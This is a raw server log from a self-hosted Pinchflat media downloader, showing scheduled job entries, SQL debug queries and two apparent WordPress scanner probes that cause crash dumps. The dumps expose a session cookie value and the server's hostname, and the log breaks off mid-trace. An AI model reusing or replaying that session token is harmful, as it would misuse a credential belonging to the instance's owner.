{"source":"oban","duration":192,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:07:18.001 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:07:48.002 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:08:00.031 [info] {"source":"oban","duration":157,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:08:18.003 [info] {"source":"oban","duration":753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:08:48.004 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:09:00.032 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:09:18.005 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:09:48.006 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:10:00.033 [info] {"source":"oban","duration":201,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:10:18.007 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:10:48.008 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:11:00.034 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:11:18.009 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:11:48.010 [info] {"source":"oban","duration":546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:12:00.035 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:12:18.011 [info] {"source":"oban","duration":509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:12:48.012 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:13:00.036 [info] {"source":"oban","duration":188,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:13:18.013 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:13:48.014 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:14:00.037 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:14:18.015 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:14:48.016 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:15:00.038 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:15:18.017 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:15:48.018 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:16:00.039 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:16:18.019 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:16:48.020 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:17:00.040 [info] {"source":"oban","duration":340,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:17:18.021 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:17:48.022 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:18:00.041 [info] {"source":"oban","duration":242,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:18:18.023 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:18:48.024 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:19:00.042 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:19:18.025 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:19:48.026 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:20:00.043 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:20:18.027 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:20:48.028 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:21:00.044 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:21:18.029 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:21:48.030 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:22:00.045 [info] {"source":"oban","duration":194,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:22:18.031 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:22:48.032 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:23:00.046 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:23:18.033 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:23:48.034 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:24:00.047 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:24:18.035 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:24:48.036 [info] {"source":"oban","duration":799,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:25:00.049 [info] {"source":"oban","duration":350,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:25:18.038 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:25:38.779 [info] GET / 01:25:38.779 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 01:25:38.780 [debug] QUERY OK source="settings" db=0.1ms idle=1090.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:25:38.780 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1090.5ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 01:25:38.780 [debug] QUERY OK source="sources" db=0.0ms idle=1090.8ms SELECT count(s0."id") FROM "sources" AS s0 [] 01:25:38.781 [debug] QUERY OK source="media_items" db=0.4ms idle=1091.0ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 01:25:38.781 [debug] QUERY OK source="media_items" db=0.1ms idle=895.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 01:25:38.781 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:25:38.781 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:25:38.782 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:25:38.783 [debug] QUERY OK source="tasks" db=0.1ms idle=1.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 01:25:38.783 [debug] QUERY OK source="media_items" db=0.1ms idle=1.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 01:25:38.784 [debug] QUERY OK source="media_items" db=0.3ms idle=2.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 01:25:38.784 [debug] QUERY OK source="sources" db=0.1ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 2] 01:25:38.796 [debug] QUERY OK source="media_items" db=10.4ms idle=3.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 01:25:38.797 [debug] QUERY OK source="media_items" db=0.5ms idle=13.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 01:25:38.797 [debug] QUERY OK source="sources" db=0.1ms idle=14.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 2] 01:25:38.799 [info] Sent 200 in 19ms 01:25:39.633 [info] GET //xmlrpc.php 01:25:39.634 [debug] QUERY OK source="settings" db=0.2ms idle=849.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:25:39.634 [debug] QUERY OK source="settings" db=0.1ms idle=838.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:25:39.634 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 01:25:39.635 [error] #PID<0.14613.0> running PinchflatWeb.Endpoint (connection #PID<0.14611.0>, stream id 2) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET //xmlrpc.php?rsd ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /xmlrpc (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.14611.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//xmlrpc.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 56172}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "rsd", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.14613.0>, params: %{"rsd" => ""}, path_info: ["xmlrpc"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"rsd" => ""}, query_string: "rsd", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.5"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "//xmlrpc.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGHKU4SKtEHuNsAA4GC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.14611.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//xmlrpc.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 56172}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "rsd", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /xmlrpc (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.14611.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//xmlrpc.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 56172}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "rsd", has_body: (truncated) 01:25:40.219 [info] GET //blog/wp-includes/wlwmanifest.xml 01:25:40.220 [debug] QUERY OK source="settings" db=0.2ms idle=1421.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:25:40.220 [debug] QUERY OK source="settings" db=0.1ms idle=1333.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:25:40.220 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 01:25:40.220 [error] #PID<0.14614.0> running PinchflatWeb.Endpoint (connection #PID<0.14611.0>, stream id 3) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET //blog/wp-includes/wlwmanifest.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /blog/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.14611.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//blog/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 56172}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.14614.0>, params: %{}, path_info: ["blog", "wp-includes", "wlwmanifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.5"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZW5fN2QtLXFKUkdHNTRma2NOWUhKdV8z.784wOwdR6yCx7s6IZZgbtLvX0yH84oSE-arssBq53II"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "//blog/wp-includes/wlwmanifest.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGHKXD4QJXgJf8AA4IC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, 